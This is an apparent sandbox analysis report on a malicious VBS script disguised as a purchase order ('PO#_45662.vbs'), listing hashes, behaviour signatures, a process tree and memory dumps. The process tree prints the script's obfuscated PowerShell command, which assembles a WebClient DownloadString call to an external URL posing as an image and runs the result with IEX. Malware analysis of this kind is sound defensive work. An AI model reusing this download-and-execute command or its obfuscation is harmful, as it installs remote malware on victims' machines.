Analysis

  • max time kernel
    120s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    23-10-2021 05:53

General

  • Target

    PO#_45662.vbs

  • Size

    15KB

  • MD5

    90161e1c823ccc2e151d0828a801d035

  • SHA1

    3e7ca03445260eb094f4d3a5506ff953d7405d8c

  • SHA256

    4ec13434944f4989f27c29121d433ada8363059c6e20a3828792a06c4171a60b

  • SHA512

    cec2bacfdb81dd93a7a8f4a41444cca5be2439fff5575deff9700a09fac01b40b2394fbc995f2d1987c61668851c919586514f124a3fd396c076cab0c69fe62f

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO#_45662.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:524
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $NOTHING = '(N`e`uprWjOFkvkmXBfdt`.W`e'.Replace('uprWjOFkvkmXBfd','w-Object Ne');$alosh='bCxNDFdlAckIUgChpnlo'.Replace('xNDFdlAckIUgChp','lient).Dow'); $Dont='adString(''https://lacombaphotography.com/update/0/UP.jpg'')';$YOUTUBE=I`E`X ($NOTHING,$alosh,$Dont -Join '')|I`E`X
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:856

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/524-54-0x000007FEFBE61000-0x000007FEFBE63000-memory.dmp
    Filesize

    8KB

  • memory/856-55-0x0000000000000000-mapping.dmp
  • memory/856-57-0x000007FEF26D0000-0x000007FEF322D000-memory.dmp
    Filesize

    11.4MB

  • memory/856-59-0x0000000002922000-0x0000000002924000-memory.dmp
    Filesize

    8KB

  • memory/856-58-0x0000000002920000-0x0000000002922000-memory.dmp
    Filesize

    8KB

  • memory/856-60-0x0000000002924000-0x0000000002927000-memory.dmp
    Filesize

    12KB

  • memory/856-61-0x000000001B790000-0x000000001BA8F000-memory.dmp
    Filesize

    3.0MB

  • memory/856-62-0x000000000292B000-0x000000000294A000-memory.dmp
    Filesize

    124KB